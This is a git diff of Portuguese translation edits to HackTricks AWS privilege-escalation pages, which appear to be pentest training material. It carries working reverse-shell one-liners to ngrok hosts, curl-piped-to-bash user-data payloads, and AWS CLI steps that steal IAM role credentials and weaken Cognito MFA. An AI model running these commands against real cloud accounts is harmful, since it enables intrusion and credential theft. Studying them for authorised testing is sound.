 - bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
 ```
-**Impacto:** Privesc direto para a função usada pelo trabalhador do AWS CodeBuild que geralmente possui altos privilégios.
+**Impacto:** Privesc direto para o papel usado pelo trabalhador do AWS CodeBuild que geralmente tem altos privilégios.
 
 > [!WARNING]
-> Note que o buildspec pode ser esperado em formato zip, então um atacante precisaria baixar, descompactar, modificar o `buildspec.yml` do diretório raiz, compactar novamente e fazer o upload
+> Note que o buildspec pode ser esperado em formato zip, então um atacante precisaria baixar, descompactar, modificar o `buildspec.yml` do diretório raiz, compactar novamente e fazer o upload.
 
 Mais detalhes podem ser encontrados [aqui](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
 
-**Impacto Potencial:** Privesc direto para funções do AWS Codebuild anexadas.
+**Impacto Potencial:** Privesc direto para os papéis do AWS Codebuild anexados.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
index 03b619921..124ddd404 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
@@ -12,7 +12,7 @@ Para mais informações sobre codepipeline, consulte:
 
 ### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution`
 
-Ao criar um pipeline de código, você pode indicar um **IAM Role do codepipeline para executar**, portanto, você poderia comprometê-los.
+Ao criar um code pipeline, você pode indicar um **IAM Role do codepipeline para executar**, portanto, você poderia comprometê-los.
 
 Além das permissões anteriores, você precisaria de **acesso ao local onde o código está armazenado** (S3, ECR, github, bitbucket...)
 
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
index 074f8a0a8..0062be2c1 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
@@ -55,7 +55,7 @@ codestar-createproject-codestar-associateteammember.md
 - Este acesso visa especificamente uma pilha associada ao papel IAM `CodeStarWorker-<nome do projeto genérico>-CloudFormation`.
 2. **Atualizar a Pilha Alvo:**
 - Com as permissões do CloudFormation concedidas, prossiga para atualizar a pilha especificada.
-- O nome da pilha geralmente seguirá um dos dois padrões:
+- O nome da pilha geralmente se conforma a um dos dois padrões:
 - `awscodestar-<nome do projeto genérico>-infrastructure`
 - `awscodestar-<nome do projeto genérico>-lambda`
 - O nome exato depende do modelo escolhido (referenciando o script de exploração de exemplo).
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md
index 274ba2fcd..00be91194 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md
@@ -2,7 +2,7 @@
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-Esta é a política criada que o usuário pode escalar privilégios para (o nome do projeto era `supercodestar`):
+Esta é a política criada à qual o usuário pode escalar privilégios (o nome do projeto era `supercodestar`):
 ```json
 {
 "Version": "2012-10-17",
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
index 7eef4836a..923df43f1 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
@@ -28,13 +28,13 @@ Para explorar isso, você precisa criar um **bucket S3 que seja acessível** a p
 }
 }
 ```
-Também **faça o upload** deste arquivo `empty zip` para o **bucket**:
+Também **envie** este arquivo `empty zip` para o **bucket**:
 
 {% file src="../../../../images/empty.zip" %}
 
 Lembre-se de que o **bucket com ambos os arquivos deve ser acessível pela conta da vítima**.
 
-Com ambas as coisas carregadas, você pode agora prosseguir para a **exploitation** criando um projeto **codestar**:
+Com ambas as coisas enviadas, você pode agora prosseguir para a **exploitação** criando um projeto **codestar**:
 ```bash
 PROJECT_NAME="supercodestar"
 
@@ -79,6 +79,6 @@ aws codestar create-project \
 --source-code file://$SOURCE_CODE_PATH \
 --toolchain file://$TOOLCHAIN_PATH
 ```
-Este exploit é baseado no **exploit Pacu dessas permissões**: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) Nele você pode encontrar uma variação para criar uma política gerenciada de administrador para um papel em vez de para um usuário.
+Este exploit é baseado no **exploit Pacu desses privilégios**: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) Nele você pode encontrar uma variação para criar uma política gerenciada de administrador para um papel em vez de para um usuário.
 
 {{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
index b1636670a..69da40490 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
@@ -20,7 +20,7 @@ Para mais informações [**verifique esta página**](../aws-unauthenticated-enum
 
 ### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole`
 
-Com esta permissão, você pode **conceder qualquer função do cognito** aos usuários autenticados/não autenticados do aplicativo cognito.
+Com esta permissão, você pode **conceder qualquer função cognito** aos usuários autenticados/não autenticados do aplicativo cognito.
 ```bash
 aws cognito-identity set-identity-pool-roles \
 --identity-pool-id <identity_pool_id> \
@@ -61,7 +61,7 @@ aws cognito-identity get-credentials-for-identity \
 --identity-id <identity_id> \
 --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
 ```
-É também possível **abusar dessa permissão para permitir autenticação básica**:
+Também é possível **abusar dessa permissão para permitir autenticação básica**:
 ```bash
 aws cognito-identity update-identity-pool \
 --identity-pool-id <value> \
@@ -80,11 +80,11 @@ aws cognito-idp admin-add-user-to-group \
 --username <value> \
 --group-name <value>
 ```
-**Impacto Potencial:** Privesc para outros grupos Cognito e funções IAM anexadas a Grupos de Pool de Usuários.
+**Impacto Potencial:** Privesc para outros grupos Cognito e funções IAM anexadas a Grupos de User Pool.
 
 ### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole`
 
-Um atacante com essas permissões poderia **criar/atualizar grupos** com **todas as funções IAM que podem ser usadas por um Provedor de Identidade Cognito comprometido** e fazer um usuário comprometido parte do grupo, acessando todas essas funções:
+Um atacante com essas permissões poderia **criar/atualizar grupos** com **todas as funções IAM que podem ser usadas por um Provedor de Identidade Cognito comprometido** e tornar um usuário comprometido parte do grupo, acessando todas essas funções:
 ```bash
 aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>
 ```
@@ -164,7 +164,7 @@ aws cognito-idp set-user-pool-mfa-config \
 [--software-token-mfa-configuration <value>] \
 [--mfa-configuration <value>]
 ```
-**UpdateUserPool:** Também é possível atualizar o pool de usuários para alterar a política de MFA. [Verifique o cli aqui](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
+**UpdateUserPool:** Também é possível atualizar o pool de usuários para alterar a política de MFA. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
 
 **Potential Impact:** Privesc indireto para potencialmente qualquer usuário cujas credenciais o atacante conhece, isso poderia permitir contornar a proteção de MFA.
 
@@ -182,11 +182,11 @@ aws cognito-idp admin-update-user-attributes \
 
 ### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
 
-Um atacante com esta permissão poderia **criar um novo User Pool Client menos restrito** do que os clientes de pool já existentes. Por exemplo, o novo cliente poderia permitir qualquer tipo de método de autenticação, não ter nenhum segredo, ter a revogação de tokens desativada, permitir que os tokens sejam válidos por um período mais longo...
+Um atacante com essa permissão poderia **criar um novo User Pool Client menos restrito** do que os clientes de pool já existentes. Por exemplo, o novo cliente poderia permitir qualquer tipo de método para autenticar, não ter nenhum segredo, ter a revogação de token desativada, permitir que os tokens sejam válidos por um período mais longo...
 
 O mesmo pode ser feito se, em vez de criar um novo cliente, um **existente for modificado**.
 
-Na [**linha de comando**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (ou no [**atualizar um**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) você pode ver todas as opções, confira!
+Na [**linha de comando**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (ou o [**atualizar um**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) você pode ver todas as opções, confira!
 ```bash
 aws cognito-idp create-user-pool-client \
 --user-pool-id <value> \
@@ -214,7 +214,7 @@ aws cognito-idp start-user-import-job \
 curl -v -T "PATH_TO_CSV_FILE" \
 -H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
 ```
-(No caso em que você cria um novo trabalho de importação, você também pode precisar da permissão iam passrole, ainda não testei isso).
+(No caso em que você cria um novo trabalho de importação, pode ser necessário a permissão iam passrole, ainda não testei isso).
 
 **Impacto Potencial:** Privesc direto para o papel IAM do pool de identidade para usuários autenticados. Privesc indireto para outras funcionalidades do aplicativo, podendo criar qualquer usuário.
 
@@ -232,7 +232,7 @@ aws cognito-idp create-identity-provider \
 ```
 **Impacto Potencial:** Privesc direto para o papel IAM do pool de identidade para usuários autenticados. Privesc indireto para outras funcionalidades do aplicativo, podendo criar qualquer usuário.
 
-### cognito-sync:\* Análise
+### Análise cognito-sync:\*
 
 Esta é uma permissão muito comum por padrão em papéis de Pools de Identidade Cognito. Mesmo que um curinga em permissões sempre pareça ruim (especialmente vindo da AWS), as **permissões dadas não são super úteis do ponto de vista de um atacante**.
 
@@ -259,7 +259,7 @@ Exemplo de uso do cognito\_\_enum para coletar todos os grupos de usuários, cli
 ```bash
 Pacu (new:test) > run cognito__enum
 ```
-- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) é uma ferramenta CLI em python que implementa diferentes ataques no Cognito, incluindo uma escalada de privilégios.
+- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) é uma ferramenta CLI em python que implementa diferentes ataques ao Cognito, incluindo uma escalada de privilégios.
 
 #### Instalação
 ```bash
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
index 5c145cef3..c63b5b686 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
@@ -57,7 +57,7 @@ Após a criação do pipeline, o atacante atualiza sua definição para ditar a
 aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
 --pipeline-definition file:///pipeline/definition.json
 ```
-O **arquivo de definição do pipeline, elaborado pelo atacante, inclui diretrizes para executar comandos** ou criar recursos via API da AWS, aproveitando as permissões de função do Data Pipeline para potencialmente ganhar privilégios adicionais.
+O **arquivo de definição do pipeline, elaborado pelo atacante, inclui diretivas para executar comandos** ou criar recursos via a API da AWS, aproveitando as permissões de função do Data Pipeline para potencialmente ganhar privilégios adicionais.
 
 **Impacto Potencial:** Privesc direto para a função de serviço ec2 especificada.
 
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
index 45f1e28ea..8922a4518 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
@@ -2,7 +2,7 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Serviços de Diretório
+## Directory Services
 
 Para mais informações sobre serviços de diretório, consulte:
 
@@ -27,6 +27,6 @@ E então **conceder a eles uma função AWS IAM** para quando fizerem login, des
 
 <figure><img src="../../../images/image (155).png" alt=""><figcaption></figcaption></figure>
 
-Aparentemente, não há como habilitar a URL de acesso ao aplicativo, o console de gerenciamento da AWS e conceder permissão
+Aparentemente, não há como habilitar a URL de acesso ao aplicativo, o Console de Gerenciamento da AWS e conceder permissão
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
index 495d77bbf..e6b76b896 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
@@ -12,7 +12,7 @@ Para mais informações sobre dynamodb, consulte:
 
 ### Pós Exploração
 
-Até onde sei, não há **uma maneira direta de escalar privilégios na AWS apenas tendo algumas permissões do `dynamodb`**. Você pode **ler informações sensíveis** das tabelas (que podem conter credenciais da AWS) e **escrever informações nas tabelas** (o que pode acionar outras vulnerabilidades, como injeções de código lambda...) mas todas essas opções já estão consideradas na **página de Pós Exploração do DynamoDB**:
+Até onde eu sei, **não há uma maneira direta de escalar privilégios na AWS apenas tendo algumas permissões de `dynamodb`**. Você pode **ler informações sensíveis** das tabelas (que podem conter credenciais da AWS) e **escrever informações nas tabelas** (o que pode acionar outras vulnerabilidades, como injeções de código lambda...) mas todas essas opções já estão consideradas na **página de Pós Exploração do DynamoDB**:
 
 {{#ref}}
 ../aws-post-exploitation/aws-dynamodb-post-exploitation.md
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
index 11fe58793..2a83b6116 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
@@ -20,7 +20,7 @@ A ferramenta [https://github.com/Static-Flow/CloudCopy](https://github.com/Stati
 
 ### **`ec2:CreateSnapshot`**
 
-Qualquer usuário da AWS que possua a permissão **`EC2:CreateSnapshot`** pode roubar os hashes de todos os usuários do domínio criando um **snapshot do Controlador de Domínio**, montando-o em uma instância que eles controlam e **exportando o arquivo NTDS.dit e o hive de registro SYSTEM** para uso com o projeto secretsdump do Impacket.
+Qualquer usuário da AWS que possua a permissão **`EC2:CreateSnapshot`** pode roubar os hashes de todos os usuários do domínio criando um **snapshot do Controlador de Domínio**, montando-o em uma instância que controla e **exportando o arquivo NTDS.dit e o hive de registro SYSTEM** para uso com o projeto secretsdump do Impacket.
 
 Você pode usar esta ferramenta para automatizar o ataque: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) ou pode usar uma das técnicas anteriores após criar um snapshot.
 
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
index a40d0f016..1bf55e7ca 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
@@ -24,7 +24,7 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
 ```
 - **Acesso via rev shell em dados do usuário**
 
-Você pode executar uma nova instância usando um **dado do usuário** (`--user-data`) que enviará uma **rev shell** para você. Você não precisa especificar o grupo de segurança dessa forma.
+Você pode executar uma nova instância usando um **user data** (`--user-data`) que enviará um **rev shell**. Você não precisa especificar o grupo de segurança dessa forma.
 ```bash
 echo '#!/bin/bash
 curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
@@ -34,17 +34,17 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
 --count 1 \
 --user-data "file:///tmp/rev.sh"
 ```
-Tenha cuidado com o GuardDuty se você usar as credenciais do papel IAM fora da instância:
+Tenha cuidado com o GuardDuty se você usar as credenciais do IAM role fora da instância:
 
 {{#ref}}
 ../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
 {{#endref}}
 
-**Impacto Potencial:** Privesc direto para qualquer papel EC2 anexado a perfis de instância existentes.
+**Impacto Potencial:** Privesc direto para qualquer role EC2 anexada a perfis de instância existentes.
 
 #### Privesc para ECS
 
-Com este conjunto de permissões, você também poderia **criar uma instância EC2 e registrá-la dentro de um cluster ECS**. Dessa forma, os **serviços** do ECS serão **executados** dentro da **instância EC2** onde você tem acesso e então você pode penetrar nesses serviços (contêineres docker) e **roubar seus papéis ECS anexados**.
+Com esse conjunto de permissões, você também poderia **criar uma instância EC2 e registrá-la dentro de um cluster ECS**. Dessa forma, os **serviços** do ECS serão **executados** dentro da **instância EC2** onde você tem acesso e então você pode penetrar nesses serviços (contêineres docker) e **roubar suas roles ECS anexadas**.
 ```bash
 aws ec2 run-instances \
 --image-id ami-07fde2ae86109a2af \
@@ -82,15 +82,15 @@ aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name
 ```
 Se o **perfil da instância tiver um papel** e o atacante **não puder removê-lo**, há outra solução. Ele poderia **encontrar** um **perfil de instância sem um papel** ou **criar um novo** (`iam:CreateInstanceProfile`), **adicionar** o **papel** a esse **perfil de instância** (como discutido anteriormente) e **associar o perfil de instância** comprometido a uma instância comprometida:
 
-- Se a instância **não tiver nenhum perfil** de instância (`ec2:AssociateIamInstanceProfile`) \*
+- Se a instância **não tiver nenhum perfil de instância** (`ec2:AssociateIamInstanceProfile`) \*
 ```bash
 aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
 ```
-**Impacto Potencial:** Privesc direto para um papel EC2 diferente (você precisa ter comprometido uma instância AWS EC2 e algumas permissões extras ou um status específico de perfil de instância).
+**Impacto Potencial:** Privesc direto para um papel EC2 diferente (você precisa ter comprometido uma instância AWS EC2 e algumas permissões extras ou um status de perfil de instância específico).
 
 ### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
 
-Com essas permissões, é possível mudar o perfil de instância associado a uma instância, então se o ataque já tiver acesso a uma instância, ele poderá roubar credenciais para mais papéis de perfil de instância, mudando o que está associado a ela.
+Com essas permissões, é possível alterar o perfil de instância associado a uma instância, então se o ataque já tiver acesso a uma instância, ele poderá roubar credenciais para mais papéis de perfil de instância, mudando o que está associado a ela.
 
 - Se **tiver um perfil de instância**, você pode **remover** o perfil de instância (`ec2:DisassociateIamInstanceProfile`) e **associá-lo** \*
 ```bash
@@ -160,11 +160,11 @@ aws ec2 modify-instance-attribute \
 
 aws ec2 start-instances --instance-ids $INSTANCE_ID
 ```
-**Impacto Potencial:** Privesc direto para qualquer EC2 IAM Role anexado a uma instância criada.
+**Impacto Potencial:** Privesc direto para qualquer Função IAM do EC2 anexada a uma instância criada.
 
 ### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
 
-Um atacante com as permissões **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` e `ec2:ModifyLaunchTemplate`** pode criar uma **nova versão do Launch Template** com um **rev shell em** os **dados do usuário** e **qualquer EC2 IAM Role nele**, mudar a versão padrão, e **qualquer grupo de Autoscaler** **usando** esse **Launch Template** que está **configurado** para usar a **versão mais recente** ou a **versão padrão** irá **re-executar as instâncias** usando esse template e irá executar o rev shell.
+Um atacante com as permissões **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` e `ec2:ModifyLaunchTemplate`** pode criar uma **nova versão do Template de Lançamento** com um **rev shell em** os **dados do usuário** e **qualquer Função IAM do EC2 nela**, alterar a versão padrão, e **qualquer grupo de Autoscaler** **usando** esse **Template de Lançamento** que está **configurado** para usar a **versão mais recente** ou a **versão padrão** irá **reiniciar as instâncias** usando esse template e executará o rev shell.
 ```bash
 REV=$(printf '#!/bin/bash
 curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -182,7 +182,7 @@ aws ec2 modify-launch-template \
 
 ### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`
 
-Um atacante com as permissões **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** pode **criar uma Configuração de Lançamento** com um **Papel IAM** e um **rev shell** dentro dos **dados do usuário**, então **criar um grupo de escalonamento automático** a partir dessa configuração e esperar que o rev shell **roube o Papel IAM**.
+Um atacante com as permissões **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** pode **criar uma Configuração de Lançamento** com um **Papel IAM** e um **rev shell** dentro dos **dados do usuário**, então **criar um grupo de autoscaling** a partir dessa configuração e esperar que o rev shell **roube o Papel IAM**.
 ```bash
 aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
 --launch-configuration-name bad_config \
@@ -213,7 +213,7 @@ aws ec2-instance-connect send-ssh-public-key \
 --instance-os-user "ec2-user" \
 --ssh-public-key "file://$PUBK_PATH"
 ```
-**Impacto Potencial:** Privesc direto para os papéis IAM do EC2 anexados às instâncias em execução.
+**Impacto Potencial:** Privesc direto para os papéis IAM do EC2 anexados a instâncias em execução.
 
 ### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
 
@@ -231,7 +231,7 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
 
 ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
 ```
-Dessa forma, não é tão útil para privesc, pois você precisa conhecer um nome de usuário e uma senha para explorá-lo.
+Dessa forma, não é tão útil para privesc, pois você precisa saber um nome de usuário e uma senha para explorá-lo.
 
 **Impacto Potencial:** (Altamente improvável) Privesc direto para os papéis IAM do EC2 anexados às instâncias em execução.
 
@@ -254,7 +254,7 @@ Nos comandos acima, embora estejamos especificando certos padrões (`aws_|passwo
 
 Assumindo que encontramos `aws_access_key_id` e `aws_secret_access_key`, podemos usar essas credenciais para autenticar no AWS.
 
-**Impacto Potencial:** Escalação de privilégios direta para usuário(s) IAM.
+**Impacto Potencial:** Escalação de privilégio direta para usuário(s) IAM.
 
 ## Referências
 
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md
index 0ff28324c..15454d2e2 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md
@@ -18,9 +18,9 @@ Para mais informações sobre como baixar imagens:
 
 ### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`
 
-Um atacante com todas essas permissões **pode fazer login no ECR e enviar imagens**. Isso pode ser útil para escalar privilégios para outros ambientes onde essas imagens estão sendo usadas.
+Um atacante com todas essas permissões **pode fazer login no ECR e fazer upload de imagens**. Isso pode ser útil para escalar privilégios para outros ambientes onde essas imagens estão sendo usadas.
 
-Para aprender como enviar uma nova imagem/atualizar uma, verifique:
+Para aprender como fazer upload de uma nova imagem/atualizar uma, verifique:
 
 {{#ref}}
 ../aws-services/aws-eks-enum.md
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
index d3af5779a..21175a2e8 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
@@ -12,7 +12,7 @@ Mais **informações sobre ECS** em:
 
 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
 
-Um atacante que abusa da permissão `iam:PassRole`, `ecs:RegisterTaskDefinition` e `ecs:RunTask` no ECS pode **gerar uma nova definição de tarefa** com um **container malicioso** que rouba as credenciais de metadados e **executá-lo**.
+Um atacante que abusar da permissão `iam:PassRole`, `ecs:RegisterTaskDefinition` e `ecs:RunTask` no ECS pode **gerar uma nova definição de tarefa** com um **container malicioso** que rouba as credenciais de metadados e **executá-lo**.
 ```bash
 # Generate task definition with rev shell
 aws ecs register-task-definition --family iam_exfiltration \
@@ -149,7 +149,7 @@ No entanto, para fazer isso, a instância do contêiner precisa estar executando
 
 Portanto, o atacante pode tentar:
 
-- **Tentar executar um comando** em cada contêiner em execução
+- **Tentar executar um comando** em todos os contêineres em execução
 ```bash
 # List enableExecuteCommand on each task
 for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
index 63026dd7e..f28df7a12 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
@@ -10,13 +10,13 @@ Mais **informações sobre EFS** em:
 ../aws-services/aws-efs-enum.md
 {{#endref}}
 
-Lembre-se de que, para montar um EFS, você precisa estar em uma sub-rede onde o EFS está exposto e ter acesso a ele (grupos de segurança). Se isso estiver acontecendo, por padrão, você sempre poderá montá-lo; no entanto, se estiver protegido por políticas IAM, você precisará ter as permissões extras mencionadas aqui para acessá-lo.
+Lembre-se de que, para montar um EFS, você precisa estar em uma sub-rede onde o EFS está exposto e ter acesso a ele (grupos de segurança). Se isso estiver acontecendo, por padrão, você sempre poderá montá-lo; no entanto, se estiver protegido por políticas IAM, você precisará das permissões extras mencionadas aqui para acessá-lo.
 
 ### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy`
 
-Com qualquer uma dessas permissões, um atacante pode **alterar a política do sistema de arquivos** para **dar acesso** a ele ou apenas **excluí-lo** para que o **acesso padrão** seja concedido.
+Com qualquer uma dessas permissões, um atacante pode **alterar a política do sistema de arquivos** para **dar acesso** a ele ou apenas **deletá-lo** para que o **acesso padrão** seja concedido.
 
-Para excluir a política:
+Para deletar a política:
 ```bash
 aws efs delete-file-system-policy \
 --file-system-id <value>
@@ -64,7 +64,7 @@ As permissões extras `elasticfilesystem:ClientRootAccess` e `elasticfilesystem:
 
 ### `elasticfilesystem:CreateMountTarget`
 
-Se um atacante estiver dentro de uma **sub-rede** onde **nenhum ponto de montagem** do EFS existe. Ele poderia simplesmente **criar um em sua sub-rede** com este privilégio:
+Se um atacante estiver dentro de uma **sub-rede** onde **nenhum ponto de montagem** do EFS existe. Ele poderia simplesmente **criar um em sua sub-rede** com esse privilégio:
 ```bash
 # You need to indicate security groups that will grant the user access to port 2049
 aws efs create-mount-target --file-system-id <fs-id> \
@@ -75,12 +75,12 @@ aws efs create-mount-target --file-system-id <fs-id> \
 
 ### `elasticfilesystem:ModifyMountTargetSecurityGroups`
 
-Em um cenário onde um atacante descobre que o EFS tem um alvo de montagem em sua sub-rede, mas **nenhum grupo de segurança está permitindo o tráfego**, ele poderia simplesmente **alterar isso modificando os grupos de segurança selecionados**:
+Em um cenário onde um atacante descobre que o EFS tem um alvo de montagem em sua sub-rede, mas **nenhum grupo de segurança está permitindo o tráfego**, ele poderia **simplesmente mudar isso modificando os grupos de segurança selecionados**:
 ```bash
 aws efs modify-mount-target-security-groups \
 --mount-target-id <value> \
 --security-groups <value>
 ```
-**Impacto Potencial:** Privesc indireto ao localizar informações sensíveis no sistema de arquivos.
+**Impacto Potencial:** privesc indireto ao localizar informações sensíveis no sistema de arquivos.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
index 9986dfb64..75e2dfacf 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
